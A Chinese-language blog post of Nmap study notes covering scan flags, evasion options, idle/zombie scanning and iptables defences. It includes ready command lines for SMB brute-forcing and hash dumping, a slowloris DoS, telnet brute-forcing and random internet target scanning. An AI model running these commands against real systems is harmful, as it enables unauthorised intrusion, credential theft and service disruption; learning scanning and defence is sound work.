HACK LIKE A PRO

HACK LIKE A PRO ------- nmap.

Posted by Rootclay on 2017-03-15

本文主要是记录一些自己在学习Nmap的过程中积累的东西,分享出来供大家交流学习

TCP连接过程:三次与四次握手

  • SYN: (同步序列编号,Synchronize Sequenc7、e Numbers)
  • ACK: (确认编号,Acknowledgement Number)
  • FIN: (结束标志,FINish)

tcp1

首先Client端发送连接请求报文,Server段接受连接后回复ACK报文,并为这次连接分配资源。Client端接收到ACK报文后也向Server段发生ACK报文,并分配资源,这样TCP连接就建立了。



tcp2

完整的连接建立与结束过程

TCP3

nmap功能介绍

1
2
3
4
5
1.主机存活检测
2.端口探测
3.服务识别&服务版本
4.操作系统识别
5.漏洞扫描,使用nmap自带脚本

手册

Nmap


Nmap官方中文手册


Nmap官方英文手册

主机发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-sL 仅仅是显示,扫描的IP数目,不会进行任何扫描
-sn ping扫描,即主机发现
-Pn 不检测主机存活
-PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping发现
-PE/PP/PM 使用ICMP echo, timestamp and netmask 请求包发现主机
-PO[prococol list] 使用IP协议包探测对方主机是否开启
-n/-R 不对IP进行域名反向解析/为所有的IP都进行域名的反响解析
-sS/sT/sA/sW/sM TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描
-sU UDP扫描
-sN/sF/sX TCP Null,FIN,and Xmas扫描
--scanflags 自定义TCP包中的flags
-sI zombie host[:probeport] Idlescan
-sY/sZ SCTP INIT/COOKIE-ECHO 扫描
-sO 使用IP protocol 扫描确定目标机支持的协议类型
-b “FTP relay host” 使用FTP bounce scan

端口扫描

1
2
3
4
5
6
7
8
-p 特定的端口 -p80,443 或者 -p1-65535
-p U:PORT 扫描udp的某个端口, -p U:53
-F 快速扫描模式,比默认的扫描端口还少
-r 不随机扫描端口,默认是随机扫描的
--top-ports "number" 扫描开放概率最高的number个端口,出现的概率需要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个
--port-ratio "ratio" 扫描指定频率以上的端口
--scanflags <flags>: 定制TCP包的flags。
-sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)

对网络指定端口随机扫描

1
2
3
nmap -sS -PS80 -iR 0 -p 80
当然最重要的是找自己想要搞的端口:)

服务探测

1
2
3
4
5
6
7
Nmap有350种以上协议如smtp,ftp,http等的大约3000条模式匹配。
-sV 开放版本探测,可以直接使用-A同时打开操作系统探测和版本探测
--version-intensity "level" 设置版本扫描强度,强度水平说明了应该使用哪些探测报文。数值越高,服务越有可能被正确识别。默认是7
--version-light 打开轻量级模式,为--version-intensity 2的别名
--version-all 尝试所有探测,为--version-intensity 9的别名
--version-trace 显示出详细的版本侦测过程信息
-O 系统识别

绕过技术

1
2
3
4
5
6
7
8
9
10
11
12
-f; --mtu value 指定使用分片、指定数据包的MTU.
-D decoy1,decoy2,ME 使用诱饵隐蔽扫描
-S IP-ADDRESS 源地址欺骗
-e interface 使用指定的接口
-g/ --source-port PROTNUM 使用指定源端口
--proxies url1,[url2],... 使用HTTP或者SOCKS4的代理
--data-length NUM 填充随机数据让数据包长度达到NUM
--ip-options OPTIONS 使用指定的IP选项来发送数据包
--ttl VALUE 设置IP time-to-live域
--spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装
--badsum 使用错误的checksum来发送数据包

脚本的使用

  • auth: 负责处理鉴权证书(绕开鉴权)的脚本
  • broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
  • brute: 提供暴力破解方式,针对常见的应用如http/snmp等
  • default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
  • discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
  • dos: 用于进行拒绝服务攻击
  • exploit: 利用已知的漏洞入侵系统
  • external: 利用第三方的数据库或资源,例如进行whois解析
  • fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
  • intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
  • malware: 探测目标机是否感染了病毒、开启了后门等信息
  • safe: 此类与intrusive相反,属于安全性脚本
  • version: 负责增强服务与版本扫描(Version Detection)功能的脚本
  • vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

测试mysql、ftp等服务,使用auth、brute等脚本



僵尸网络

zombie

zombie

1
2
3
4
5
6
7
step 1 :
寻找一个可以利用的zombie:
nmap 192.168.32.0/24 --script=ipidseq -n -v
step 2 :
利用僵尸机进行扫描
nmap 192.168.32.0/24 -sI 192.168.32.xx -n -v

寻找僵尸机:
nmap -iR 0 --script=ipidseq

以smb服务为例,测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
探测安全模式
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-security-mode
主机发现
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-os-discovery
列举共享文件
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-enum-shares --script-args=smbuser=administrator,smbpass=clay
TEST:
Step 1: discovery
nmap -n -v --script=smb-os-discovery 192.168.32.0/24
Step 2: Generate user list
nmap -n -v --script=smb-enum-users 192.168.32.0/24
Step 3: Brute force known user accounts
nmap -n -v --script=smb-brute --script-args=userdb=c:\Users\whois\Desktop\username.txt 192.168.32.0/24
Step 4: Dump hashes and try cracking
nmap -p445 --script=smb-pwdump --script-args=smbuser=test,smbpass=test,rcrack=rcrack,rtable=alpha/*.rt 192.168.32.0/24
Step 5: Try using discovered hashes
nmap -p445 --script=smb-brute --script-args=userdb=usernames.txt,passdb=passwords.txt 192.168.32.0/24
Step 6: Dump hashes and try cracking (again)
-p445 --script=smb-pwdump --script-args=smbuser=mary,smbhash=ADA65BF48C2CB30AE608489E290618AA,rcrack=rcrack,rtable=alpha/*.rt 192.168.32.20
Step 7: Login

常用脚本

1
2
3
4
5
nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections
nmap -sV --script=telnet-brute 192.168.137.4 telnet破解
nmap --script=broadcast-netbios-master-browser 192.168.137.4 发现网关

输出格式

  • 扫描结果输出为xml
1
nmap <target> -oX name.xml
  • 随机寻找目标
1
nmap -sS -PS80 -iR 0 -p80

脚本分析:

下次再说^.^

lua语言编写

Learn Lua in 15 Minutes

防御

iptables

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
常见命令:
-A, --append 新增规则(追加方式)
-D, --delete 删除规则
-L, --list 列出某规则链中的所有规则 iptables -L INPUT
常见参数:
-p, --protocol 指定协议
-d, --dst, --destination 指定目的地址
-i, --in-interface 指定入口网卡 iptables -A INPUT -i eth0 (-i eth+ 所有网卡)
--dport, --destination-port 目的端口
-j 指定对包的处理(ACCEPT、DROP、REJECT、REDIRECT)
example:
sudo iptables -A INPUT -p icmp -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

防御设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
iptables -F
清除预设表filter中的所有规则链的规则
iptables -A INPUT -p tcp –tcp-flags ALL FIN,URG,PSH -j Drop
iptables -A INPUT -p tcp –tcp-flags SYN,RST SYN,RST -j Drop
iptables -A INPUT -p tcp –tcp-flags SYN,FIN SYN,FIN -j Drop
iptables -A INPUT -p tcp –tcp-flags SyN SYN –dport 80 -j Drop
sudo iptables -A INPUT -p icmp -j Drop
sudo iptables -A FORWARD -f -m limit --limit 100/s --limit-burst 100 -j ACCEPT